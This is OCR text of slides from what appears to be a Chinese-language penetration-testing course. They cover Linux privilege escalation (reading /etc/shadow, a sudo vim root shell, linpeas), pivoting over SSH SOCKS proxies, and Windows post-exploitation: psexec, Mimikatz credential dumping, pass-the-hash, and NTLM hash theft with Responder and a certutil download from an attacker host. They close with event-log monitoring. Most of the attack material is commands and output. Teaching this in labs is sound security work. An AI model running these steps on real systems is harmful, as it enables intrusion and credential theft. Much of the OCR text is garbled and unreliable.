RX errors @ dropped @ overruns @ frame @
TX packets @ bytes @ (0.0 B)
TX errors @ dropped 0 overruns @ carrier @ collisions @

user@lb85e61le261f:/tmp (0.039s)
id

uld=1000(user ) gid=100@(user) groups=100@(user)
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Pl |

e /etc/shadow
« FIEHEBEZSAY hash

root@1b85e61e261f:/ (©.8365)
cat /etc/shadow

root:*:19417:8:99999:7:::
daemon:*:19417:0:99999:7:::
bin:#*:19417:0:99999:7:::
Sys:*:19417:0:99999:7:::
sync:*:19417:®:99999:7:::
games :*:19417:0:99999:7:::
man:*:19417:0:99999:7:::
lp:*:19417:0:99999:7:::
mail:#*:19417:0:99999:7:::
news:*:19417:0:99999:7:::
uucp:#*:19417:®:99999:7:::
proxy:*:19417:0:99999:7:::
www-data:*:19417:0:99999:7::;
backup:*:19417:9:99999:7:::
list:*:19417:0:99999:7:::
irc:*:19417:0:99999:7:::
gnats:*:19417:0:99999:7:::
nobody:*:19417:0:99999:7:: :
_apt:*:19417:®:99999:7:::
user:$y$j9T$AOUShKsu9xEDK0OFCctc@Tf . @$ulegATEITFZRHEN59T 1xCI2XT . i3Nwx06LKGOwWEqoSD : 19524:0:99999:7: : :
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# Linux R2EFF &

* Hash ($£%)

- REREEEEER FFIRR AT —RFE
« Ao =ZZENH 7

- WEEEMNERIRT T

« NRATLIEZR - ABFEFITLAUEZ 2R !

1] 1]
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Hash Crackin

- FHILE

~BrackSIalmn evsec - 3 Tt

ArAEE S SN BN S B

P JO h n Th e Ri p pe r CrackStatmn ¥ Password Hashing Security ¥ Defuse Security ¥

Free Password Hash Cracker

° h Enter up to 20 non-salted hashes, one per line:
Hash Cat

C5EES3657A8D63700E0310B30CCETR00
° |
I
-~

4 Supperts: LM, NTLM, md2, md4, md5S, mdS(md5_hex), mdS-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirpool, MySQL 4.1+
® C ra C Sta t I O n (shal(shal_bin)), QubesV3.1BackupDefaults

Hash Type Result

° C IVl D 5 Color Codes: Gféend Exact match, Yellow: Partial match, Bl Not found.

250



# Linux BR2EFE

» /etc/sudoers
 BEERABTLUER sudo IFECRLEIEDS
 BIENRLEANEEFE XA vim o¥ config 1EEEBZ sudo IR ANE
* user ALL=(ALL) NOPASSWD: /usr/bin/vim

user@lb85e6le2blf:/ (0.0415)
sudo -1

Matching Defaults entries for user on 1b85e6le261f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on 1b85e6le261f:
{ALL) NOPASSWD: fusr/bin/vim
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Linux 18235

e GTFOBINS
IRIERERBERE

EFE

GTFOBins s s

GTFOBIns is a curated list of Unix binaries that can be used to bypass local security restrictions
in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to get-the**k break
out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and
reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is not a list of exploits, and the programs listed here are not vulnerable per se,
rather, GTFOBIns is a compendium about how to live off the land when you only have certain binaries available.

GTFOBins is a collaborative project created by Emilio Pinna and Andrea Cardaci where everyone can contribute
with additional binaries and technigues.

If you are looking for Windows binaries you should visit LOLBAS.

| Limited SUID |

s o |



Linux &28F %

\)

GTFOBIins
o« g FITICUER sudo B1T vim
- BT A sudo vim -c :I/bin/sh' B{S—1& root HY shell

am /Vim Y¥ Star 8,526

Shell || Reverse shell || Non-interactive reverse shell || Non-interactive bind shell || File upload || File download
Library load || SUID Capabilities || Limited SUID

| Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a) vim -c ':!/bin/sh'’
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Pl |

: 74, SR 3T I 3
inux &:25F;

user@lb85e6le26l1f:/ (©.833s5)
whoami

user

user@lb8seble26lf:/ (4.901s5)
sudo su

[sudo] password for user:
Sorry, user user is not allowed to execute '/usr/bin/su' as root on 1b85e6le26lf.

user@lb85e61e26l1f:/ (8.838s)
sudo -1

Matching Defaults entries for user on 1b85e6le26lf:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/biny:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on 1b85e6le261f:
(ALL} MNOPASSWD: /usr/bin/vim

user@lb85e61e26if:/
sudo vim -c¢ ':!/bin/sh’

# whoami
root

i |
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# Linux &2 =

o %18 grep, find ... F L EESTOEERNBRER
o MRER/ S
. user@lb85e61e26lf:/tmp (0.838s)
« BB

grep -r meowmeow 2>/dev/null

*.L\ T_Vr_‘.‘ FII_ password:This 1s secret password : FLAG{meowmeow}
JIN
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¥ Linux Post exploitation

IRIEERIEETH

e Linpeas : =E

Users Information

[=========ﬂ My user
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1008(user) gid=1800{user} groups=1008(user)

== Do I have PGP keys?
gpg Not Found

netpgpkeys Not Found
netpgp Not Found

[=========# Checking 'sudo -1', /etc/sudoers, and /etc/sudoers.d
https://book . hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for user on 1b85e61e261f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on 1b85e6le261f:
(ALL) noPASSWD: /usr/bin/[il]
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# Pivoting

- BRY
- NiBEERE
- 1A

* Proxy Chains

e SSH Tunnel
e Chisel

* netsh portproxy

« Windows RZE

B —E Wi

25 B Wi

EAPANCiliErs
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# Pivoting

e SSH Tunnel

e ssh—D 9487 user@hostA

B —E Wi

« TEINEEHEARI 9487 Port FHEX

e socks server

25 B Wi

258



-

# Pivoting

e Proxy Chains %7€ Proxy {iLE& (BUME ssh -D 7HY Port 57)
» sudo vim /etc/proxychains.conf
- f5an -

[ProxyList]

socks5 127.0.0.1 9487

* Proxy Chains XIEZEBER !
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# Pivoting

* ip.me E—BJLAZFHEC ip IS

~ (0.8275)
curl ip.me

125.227.39.9/

« EBERAPIEHEIET L proxychains4 BLOLUEBEMRIEN 1 TIES

~ (0.648s)
proxychains4 curl ip.me

[proxychains] config file found: fetc/proxychains.conf
[proxychains] preloading /usr/local/lib/libproxychainsd.dylib
[proxychains] DLL init: proxychains-ng 4.16-git-13-gl133e@6b

[proxychains] Dynamic chain ... 127.8.0.1:9487 ... 212.102.35.236:80 ... OK
35.74.81.89
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Post Exploitation

Windows




# Privilege Escalation

« Windows BV SIEPRIlI N2 Administrator

;S BEEPR B = 245 Services S + &5&8 User hli 2|

Microgsoft Windows [RRA 10.0.22000.1696]
(c) Microgoft Corporation. EfEHERRE » I {RET—EIFER] o

C:\Windows\svstendZswhoani
nt anthorityisvaten

C:\lindows\svstendZsg
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# smb (Server Message Block)

LIl

« {5 TCP 445 Port SZEIEED =
. BB LCHYSHD .

© #m - [ SR W NgEr =gR- e
— v \\192.168.1.100\Users v O &2 Users
2 Becas= IH '\ €c>vrn g
* WX =P =] |[= B "
i = B m T » =1 CEEE: s K
m| s » B8 Default 2022/7/26 T505:09 #BEZEHK
o S M B ql} ! §$ Tl— S h | | o » @8 StevenYu 2023/5/17 T4 05:34 EBEEHK
e B iCloud Drivi # L RAE 2022/7/26 T 04:3¢ EBEERR
msEmE

e EternalBlue (XI|EZEE)
 WannaCry {SEHRYREHREEE Protocol
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# SMB (Server Message Block)

- SMB & DhEE
- {REABERBF Users ERIZRIS ?

| ¥ 18.183.56.0
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# SMB (Server Message Block)

» SMB [SiE LDEE
« SRR TS CHE - S ElSEIEREE

e SO A v C o B2
ZE EaHHE <] AN
v W REER : :
BB Perflogs 2018/2/23 T4 07:06 BEEHK
[~ -7 »
BB Program Files 2023/6/17 T4 09:46 BEEHE
| X +
8 Program Files (x86) 2023/6/14 £5 10118 EBEZHE
[ W= »
0 ProgramData 2016/11/24 £ 08:19 BEEHNK
B iCloud Drive (M #
B Windows 2023/6/17 T4 10:07 BEEHE
msE »
[ Redeii 2023/6/17 T4 08:25 BEZEHX
b
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t Psexec

» SMB HYfS R IETBITHITIEE * psexec

l_—( kali® kali)-[/tmp/Bad/CVE-2011-2523 ]
£ impacket-psexec Admin@®192.168.48.138
Impacket v0.11.8 - Copyright 2823 Fortra

Password:

[*] Requesting shares on 192.168.48.130.....

[#] Found writable share ADMIN%

[*#*] Uploading file hOuOHdnc.exe

[*] Opening SVCManager on 192.168.48.130.....

[*#*] Creating service bvgA on 192.168.48.130.....

[*#*] Starting service bwvgA.....

[!] Press help for extra shell commands

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows‘\system32> whoami
nt authority\system

C:\Windows\system32> |
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# Mimikatz

- B2 1T B | O HS{EH B ZBHERY Hash

- HRRRZZEEE (B8 2 EKES Ad

ministrator 1EEPERYARIT)

- [EERERRAUNEBRET WDigest -

= 2 O] LA BVSBASCEETRS

- IRBHY Windows &BfEEF NT Hash ({&F8 NTLM)

- HNER LV

EN

& mimikatz 2.2.0 x64 (ce.e0)

HEsd, mimikatz 2.2.8 (x64) #19041 Sep 19 2022 17:44:88

LE# S ##, "A La Vie, A L'Amour” - (oe.eo)

g# / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

## N/ ## > https://blog.gentilkiwi.com/mimikatz

THE v o##' Vincent LE TOUX { vincent,letoux@gmail.com )
‘Husas’ » https://pingcastle.com / https://mysmartlogon.com ***/

nimikatz # _
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Mimikatz

» Windows HY& AJARE
- SRR + BB Hash

#F1E Isass.exe

* Mimikatz |51

&

I
s

AT HECISREAT - 12

Processes Performance Users Details  Services

Mame ) Status
explorer.exe 3216 Running
5| Logonll.exe 26 Running

i-||sass.exe 2 Running

General Digital Signatures  Securty Details

B |sass exe

Type of file Application (exa)

Descrption:  Local Securty Authorty Process

HPREE » Hash

User name

Administr...

SYSTEM
SYSTEM

RIFTLALS AL

Previous Versions

LT=

== (LN

[T T -

o = O g o
= Ay == O

ST~

Memary (p...

-
-

[
E L
[ "

o P

Fd W P W OO

Description

Windows Explorer

Windows Logon User Interface Host
Local Security Authority Process
Microsoft Malware Protection Comm
Windows Defender User Interface
Windows Defender notification icon
Microsoft Distributed Transaction Co
Antimalware Service Executable

ROP Clipboard Monitor

Runtime Broker

Search and Cortana application
services and Controller app
Windows Shell Experience Host
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# Mimikatz

I'I'

- (FHEIEEERFREL Mimikatz

« B§j A\ privilege::debug
« tJ##E! Debug 1EPR (EX{SToken)

e i A\ sekurlsa::logonpasswords

HY1S LSASS HRYE A ZB1

& Select mimikatz 2.2.0 x64 (oe.eo)

mimikatz # sekurlsa::logonpasswords

Authentication Id : @ ; 648386 (00000000 :00092472)

Session : RemoteInteractive from 2

User Name : Administrator

Domain : EC2AMAZ -T4QUTQS

Logon Server : EC2ZAMAZ-TAQUTQS

Logon Time : 5f1?!2623 1:86:88 PM

SID i §5-1-5-21-2330918251-3448218483-2131695866-589
msy

[EEBBBEEE] Primary
Username : Administrator

* Domain - E[Eﬂﬂﬂz TdDUTDS

£ NTLM y V467 ORARE

* SHAl : b3df1c21cd66fed13{16655?1693293?9{??583d
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# Pass The Hash

- RIIFE
. FHFIRBE=REREN Hash T ABEEVEEN S
- RBEA Windows HI4FIE » EHEG Hash ST B AR

I_—( leali® kali)-[ /tmp/Bad/CVE-2011-2523 ]
S impacket-psexec Admin@l92.168.48.130 -hashes bB1l@9442b77b46cT722c34254e51bff62:920ae267eB4841 7 fcfe@Bf49echdib3l
Impacket v@.11.8 - Copyright 2823 Fortra

[*] Requesting shares on 192.168.48.130.....

[*] Found writable share ADMIN%

[#*] Uploading file fDUzfTbhO.exe

[*] Opening SVCManager on 192.168.48.130.....

[*] Creating service KkAG on 192.168.48.130.....

[*] Starting service KkAG.....

[!] Press help for extra shell commands

Microsoft Windows [Version &.1.768@]

Copyright (c) 20809 Microsoft Corporationm. All rights reserved.

C:\Windows‘system32> [}
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# NTLM Theft

e %38 Windows 4F[%Ef@IHY NTLM (Net-NTLMv2)

[:—[kaliijkali]—:ftmpfﬂadfntlm_theft]
$ python3 ntlm_theft.py —-generate url --server 192.168.48.128 -f demo
Created: demo/demo-(url).url (BROWSE TO FOLDER)
Created: demo/demo-(icon).url (BROWSE TO FOLDER)
Generation Complete.
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https://github.com/Greenwolf/ntlm_theft

# NTLM Theft

* £ Kali B%23FAEY Responder

e sudo responder -l ethO -v

(kali® kali)-[~]

% sudo responder -I eth@® -v

NBT-NS, LLMNR & MDNS Responder 3.1.3.0

I
|
I_

To support this project:

Patreon — https://www.patreon.com/PythonResponder
Paypal — https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)

To kill this script hit CTRL-C

[+] You don't have an IPvE address assigned.

[+]

[+]

Poisoners:
LLMMNE
NET-NS
MDNS

DS

DHCP

Servers:
HTTP server
HTTPS server
WPAD proxy
Auth proxy
SME server
Kerberos server
SOL server
FTP server
IMAP server
POP3 server
SMTP server

[oN]
[oN]
[oN]
[oN]

[OoN]
[OM]

[oN]
[oN]
[oN]
[oN]
[oN]
[oN]
[oN]
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# NTLM Theft

e Victim HY Windows 28 NEIREEHY desktop.ini &= (E—EAFTERIZK)

[:—(kaliﬁjkali]—:ftmpradfntlm_theft]
% od demo

[:—(kaliﬁjkali]—:Itmpradfntlm_theftfdemu]
$ python3 -m http.server 8008
Serving HTTP on @.0.0.0 port 8000 (http://0.0.0.0:80008/)

192.168.48.130 - - [21/Apr/2024 ©03:30:45] "GET /demo-{url).url HTTP/1.1" 200 -
192.168.48.130 - - [21/Apr/2024 ©03:30:46] "GET /demo-{url).url HTTP/1.1" 200 -
i

GC:xUszsers~Admin~Dezsktop~arcertutil —uwrlcache —f http: /-172.168.48.128 8000 demo—Curlr.url demo.url
#=»x% Online P
CertlUtil: —URLCache command completed successfully.

GC:xUszserssAdmin~Desktop~ar_
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# NTLM Theft

- EEREFEERR (AHFHRAIFIRELRERR - IFZEERK)

* Responder EEITLE IR Net-NTLMv2 Hash

RESpUNUEDn vuimdin ndieg
Responder DCE-RPC Port

[+] Listening for ewents ...

[#] [NBT-NS] Poisoned answer sent to 192.168.48.130 for name WPAD (service: Workstation/Redirector)

[SME] NTLMv2-SSP Client : 192.168.48.130
[SME] NTLMvZ-SSP Username : WIN-ZSBOPD1GTOSEMAdmin
[SME] NTLMy2-55P Hash : Admin ::WIN-8BOPD1GTOSE:2eddd375b366bc@5:22AF2374354659B9CE2F51B754E9AABE: 0101000000000000008525539C93DAR163C6317E2DDD706CORR0RAQ0002000800390042003100310001001E00570049004E002D004B0033

BA@4DPR39RR3600500042003300360036005A0004003400570049004E002D004E003300400039003600500042003300360036005A002ERR39004200310031002E0RL4CORL4FAR430041004CO0R300140039004200310031002E00L4CR0LFOR430041004CR0R500140039004
200310031002E0QL4COR4FOOL430041004CORATOORE0OOOE525539C93DAD1060004000200000008003000300000000000000000000000RD300000E4L4599CA1L446343CF1CA54CFT29274A17921E48D8196D56327ESBEGCAECIEDCA4EERADPRLIOOOARADOOQO000RADR000000000
A0RORRRRRSRR26RRE30R69R06ENR7I002FRR2100390032002EQD3I10036003E0A2ERRIL00IENR2EQR3I100320038000000000000000RR0RAQARR0RA

[#] [MDNS] Poisoned answer sent to 192.168.48.1 for name Meow-PC.local

[#] [MDNS] Poisoned answer sent to 192.168.48.1 for name Meow-PC.local

[#] [LLMNR] Poisoned answer sent to 192.168.48.1 for name Meow-PC
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# NTLM Theft

- OJL5%E38 John the Ripper Z= /IR EED

[(kali® kali)-[/tmp/Bad
L_s [/tmp 1

echo "Admin ::WIN-8BOPD1GTOSE:2eddd375b366bc@5:22AF2374354659B9CE2F51B754E9AABE:010100000000000000B8525539C93DA0163C6317E2DDD7R6CA0000000R20008003900420031003;
42003300360036005A0004003400570049004E002D004B0033004D0039003600500042003300360036005A002E0039004200310031002E004CO04FO0430041004C00R300140039004200310031002E00!
Q4FEQ4300451004COGR7000800008525539C93DAR100ER0L40002000000080030003000000000000000000R00R00B30000A84599CA1446343CF1CA54CFT29274A17921E48D8196D56327ESBOCAEC3IEDCAER
PP6o00E6R073002FRR3100390032002E003100360038002E00340038002E00310032003800000000000Q000000R0000000"

[:—(kali$3kali]—[ltmp!Bad]

% john hash.txt ——wordlist=~/wordlist.txt

Using default input encoding: UTF-8

Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates left, minimum & needed for performance.

)

]

]

lg 0:00:00:00 DONE (2024-84-21 ©3:35) 20.00g/s 120.0p/s 120.0c/s 120.0C/ s AAA.. 1234QWER
Use the "--show —format=netntlmv2” options to display all of the cracked passwords reliably

Session completed.

BASC S

> hash.txt
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# Privilege Escalation

e Service Unquoted Path
 Windows A B&HTimME (SE Feature)

e Windows %34
. ERRMEABY .exe TLIBRIBARE
- BEREENTUISRZEAS|RIGTER o EREET
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# Privilege Escalation

- BREBEAE—ERESE

* C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

« Windows HVERTT = =

* C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

C:\Program.exe

e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe
C:\Program Files.exe

e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe
C:\Program Files (x86)\meow\meowmeow.exe

* C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

HEFETF
RBBRE—EEREEFE
IAZHEIEE NEW S
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# Privilege Escalation

« Windows BIEET=E 2
e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

* C:\Program.exe

e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

* C:\Program Files.exe

e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

* C:\Program Files (x86)\meow\meowmeow.exe

e C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

* C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe

frRESFRFIEERRZ LN (S

C:\Program.exe
C:\Program Files.exe

C:\Program Files (x86)\meow\meowmeow.exe

EEZIRFS (E R SERHT
AP CAERERETF AIRE
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« 3% : Winpeas

# Privilege Escalation

Select Administrator: W

Windows PowerShel

Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Desktop> .\winpeas.exe

IANSI color bit for windows is not set. If you are executing this from a Windows terminal inside the host you should run
'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when loo
king for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v V
irtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

€CCc(
CCCCCCCCCccc
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CCCCeeeccc
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(€4 (
(R###HBERBR RS /% (¢
HARRERARBRRRRBRERE (/) /@eeae/ (
#ARRRRARBRRARRRBABRRRRRRE () (¢
S C
##### A AR RR A AR R AR RR AR AR R AR RRRRARE () C
HEREHBRRRRRRRRHARBRRABRRRRABRRARBRRRRRE (¢
CR o QR I € 2 QR (¢
###### T (RRREE ((RRER AR AR RE ((FRRRRR ) ( (
##RHH B R ER R (OO (BB R R (
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#ARBRARRRRERRRBRARBERAARRRRARR ARG RARBR R (¢
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C

~A

/ADVISORY:

WinPEAS-ng by @hacktricks_live

| Get the latest version o t
| Follow on Twitter : |
| Respect on HTB
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Event Log




Windows Event Log

» BHEY Event Viewer
« 5 NI A Event

ST
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Windows Event Log

NS
5

3E}E Windows Logs -> Security

{4 Event Viewer

File Action View Help

-13 F’, - = ﬂ

{4 Event Viewer (Local) Security Number of events: 554

y Custom Views

v [m Windows Logs Keywords and Ti Source « Task Category

=] Application \ Audit Success 0:19 PM Microsoft Windows security auditing. 4624 Logon
is| App ty g g

[« | Security -, Audit Success 0:19PM Microsoft Windows security auditing. 4672 Special Logon

{ | Setup _Audit Success

[+] System <, Audit Success

0:19PM Microsoft Windows security auditing. 776 Credential Validati...
0:18 PM Microsoft Windows security auditing. 4624 Logon

Applications and Services Lo| | €1 Audit Success

0:18 PM Microsoft Windows security auditing. 4776 Credential Validati..,
j Subscriptions A, Audit Success

Audit Success

0:18 PM Microsoft Windows security auditing. Logon
0:18 PM Microsoft Windows security auditing. 4672 Special Logon

-\, Audit Success 0:18 PM Microsoft Windows security auditing. 776  Credential Validati..,

i1
:1
$1
)1
[ | Forwarded Events Audit Success /17 2:10:18 PM Microsoft Windows security auditing. Special Logon
2:1
11
2:1
11
2:1

-, Audit Success 0:15PM Microsoft Windows security auditing. 624 Logon
 Audit Success 15 PV Microsoft Windows security auditing. 4672 Special Logon

-\, Audit Success /17/2023 2:10:15 PM Microsoft Windows security auditing. 776 Credential Validati..,

—— -~ .. PR PP, - .

Event 4624, Microsoft Windows security auditing.
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Windows Event Log

NS
5

» 3£$E Windows Logs -> Security

icrosoft Windows security auditing.

Details

cessfully logged on.

MNULL SID
unt Mame;
unt Domain:
Logon ID:

Logon Information:

Virtual Account:

E|‘.".-'ated.Tc|-:F :

Impersonation Level:

Log Name:

Sour

Event ID: - egory: Logon
Level: s Audit 5
User: A Computer:

OpCode:

More Information:
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« =H Event ID

E Windows Event Log

Event ID STas =
4624 R =E AR
4625 Rt = AKE
4740 REPEHEE
4720 EYLIRP
4726 il BR R P
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Windows

{56 F8 Filter EfxE

vent Log

Filter Current Log
Filter XML
Logged: Any time
Event level: (] Critical [[] Warning [] Verbose
(] Eror [ Information
Event logs: fecuity <]
Event sources: liv

Includes/Excludes Event IDs: Enter ID numbers and/or ID ranges separated by commas. To
=

exclude criteria, type a minus sign first. For example 1,3,5-99,-76

4625
Task category: Ii
e

User: < All Users»

Computer(s): | <All Computers>

Cancel

Filter Current Log...
Clear Filter
Properties

« Find...
Save Filtered Log File Aj
Attach a Task To this Lo
Save Filter to Custom V
View

Refresh

4 Help

Event 4625, Microsoft Wind

Event Properties

@] Attach Task To This Eve
Copy

b Save Selected Events..
Refresh

ﬂ Help
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Windows Event Log

Account For Which Logon Failed:
Security ID: NULL SID
Account Name: Hacker
Account Domain:

Failure Information:
Failure Reason: Unknown user name or bad password.
Status: 0xC000006D
Sub Status: 0xCO000064

Keywords Source vent... Task Categ
& Audit Failure :19:33 PM Microsoft Windows security auditing.
‘1?; Audit Failure 0
4 Audit Failure 2:06:4 Microsoft Windows security auditing.
0
0

Log Name: Security
Source: Microsoft Windows security Logged: 6/17/2023 2:19:33 PM

wn

Logon

wn

Microsoft Windows security auditing. Logon

Event ID: 4625 Task Category: Logon

wn

Logon

wn

4 Audit Failure Logon
1‘3 Audit Failure

4 Audit Failure /17/2 2:05: Microsoft Windows security auditing.

Microsoft Windows security auditing.

wn

Microsoft Windows security auditing. Logon

w

Logon

- Audit Failure /17 :05:03 PM Microsoft Windows security auditing. Logon

woon

§ Audit Failure /1772023 2:05: Microsoft Windows security auditing. Logon

4 Audit Failure :05: / Microsoft Windows security auditing. Logon

W

1 Audit Failure /17/2023 2:05: / Microsoft Windows security auditing. Logon

o8

4 Audit Failure 2:05:02 Microsoft Windows security auditing. Logon

N
[

3
[ T OV I O O N OV R O D OV I OV R O D O T OV R 0 T 0 I 0 T 0 O R 0N 0
wn

4 Audit Failure /17/2023 2:05: / Microsoft Windows security auditing. Logon

¥
wn

5 Audit Failure /17/2 2:05: / Microsoft Windows security auditing. Logon

N

5 Audit Failure :05: / Microsoft Windows security auditing. Logon
Y 9 9

N
W

0 Audit Failure /17/2 105 Microsoft Windows security auditing. Logon

wn

) Audit Failure 6/17/2 Microsoft Windows security auditing. Logon

w

4 Audit Failure 17/ Microsoft Windows security auditing. Logon

wn

i Audit Failure Microsoft Windows security auditing. Logon
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victimgvictimserver:~% cat /var/log/auth.log
B5:
@5:
B5:
85:
@5:
B5:
@5:
B5:
@5:
@5:
85:
@5:
B5:
@5:
B5:
B@5:
@5:
85:
@5:
B5:
@5:
B5:
@5:
@5:
85:
@5:
B5:
@5:
B5:
85:
@5:
B5:
@5:
B5:
@5:
@5:
85:
@5:
B5:
@5:
B5:
B@5:

Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr

21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21
21

L
53:
53:
53:
53:
53:
53:
53:
53:
53:
53:
53:
i
55:
i
K
55:
H
55:
i
55:
55:
K
55:
55:
55:
i
H
55:
H
55:
S
55:
55:
L
55:
H
55:
i
55:
55:
K

13
13
13
13
13
15
18
30
42
53
53
53
04
04
04
29
29
29
29
29
29
29
30
30
30
30
30
30
30
30
30
30
30

32
32
32
32
33
33

33

victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver
victimserver

E Linux Event Log

sshd[912]: Server listening on ©0.0.8.8 port 2222.

sshd[912]: Server listening on ::

port 2222,

systemd-logind[875]: New seat seat®.

systemd-logind[875]: Watching system buttons on /dev/input/event® (Power Button)
systemd-logind[875]: Watching system buttons on /dev/input/eventl (AT Translated Set 2 keyboard)
pam_unix(login:auth): authentication failure; logname=LOGIN uid=@ euid=0 tty=/dev/ttyl ruser= rhost=

login[898]:
login[898]:
login[898]:
login[898]:
login[898]:

FAILED LOGIN (1) on '/dev/ttyl' FOR 'victim', Authentication failure
FAILED LOGIN (2} on '/dev/ttyl' FOR 'victim', Authentication failure
FAILED LOGIN (3) on '/dev/ttyl' FOR 'victim', Authentication failure
pam_unix(legin:session): session opened for user victim(uid=1000) by LOGIN(

systemd-logind[875]: New session 1 of user victim.
systemd: pam_unix(systemd-user:session): session opened for user victim(uid=10@88) by (uid=0)
sshd[2961]: Accepted password for wvictim from 192.168.48.128 port 37256 ssh2

sshd[2961]:

systemd-logind[875]: New session 3 of user victim.

ss5hd[3019]: Received disconnect from 192.168.48.128 port 37256:11: disconnected by user

sshd[3019]: Disconnected from user victim 192.168.48.128 port 37256

sshd[2961]: pam_unix(sshd:session): session closed for user wictim

systemd-logind[875]: Session 3 logged out. Waiting for processes to exit.

systemd-logind[875]: Removed session 3.

sshd[3030]: Received disconnect from 192.168.48.128 port 46784:11: Bye Bye [preauth]

sshd[3030]: Disconnected from authenticating user victim 192.168.48.128 port 46784 [preauth]

sshd[3035]: pam_unix(sshd:auth): authentication failure; logname= uid=@ euid=@ tty=ssh ruser= rhost=192.
sshd[3033]: pam_unix(sshd:auth): authentication failure; logname= uid=@ euid=@ tty=ssh ruser= rhost=192.
sshd[3832]: pam_unix(sshd:auth): authentication failure; logname= uid=@ euid=8 tty=ssh ruser= rhost=192.
sshd[3034]: pam_unix(sshd:auth): authentication failure; logname= uid=@ euid=0 tty=ssh ruser= rhost=192.
sshd[3037]: pam_unix(sshd:auth): authentication failure; logname= uid=@ euid=@ tty=ssh ruser= rhost=192.
sshd[3036]: Accepted password for victim from 192.168.48.128 port 46828 ssh2

sshd[3036]: pam_unix(sshd:session): session opened for user victim(uid=1000)} by (uid=@)
systemd-logind[875]: New session 4 of user victim.

sshd[3036]: pam_unix(sshd:session): session closed for user wictim

systemd-logind[875]: Session &4 logged out. Waiting for processes to exit.

systemd-logind[875]: Removed session 4.

sshd[3035]: Failed password for victim from 192.168.48.128 port 46818 ssh2

sshd[3033]: Failed password for victim from 192.168.48.128 port 46796 ssh2

sshd[3032]: Failed password for victim from 192.168.48.128 port 46792 ssh2

sshd[3034]: Failed password for victim from 192.168.48.128 port 46802 ssh2

sshd[3037]: Failed password for victim from 192.168.48.128 port 46828 ssh2

sshd[3035]: Connection closed by authenticating user victim 192.168.48.128 port 46818 [preauth]
sshd[3033]: Connection closed by authenticating user victim 192.168.48.128 port 46796 [preauth]
sshd[3034]: Connection closed by authenticating user victim 192.168.48.128 port 46882 [preauth]
sshd[3032]: Connection closed by authenticating user victim 192.168.48.128 port 46792 [preauth]

pam_unix(sshd:session): session opened for user victim{uid=1800) by (uid=@)

uid=9)

168.
168.
168.
168.
168.

.128
.128
.128
.128
.128

user=victim

user=victim
user=victim
user=victim
user=victim
user=victim
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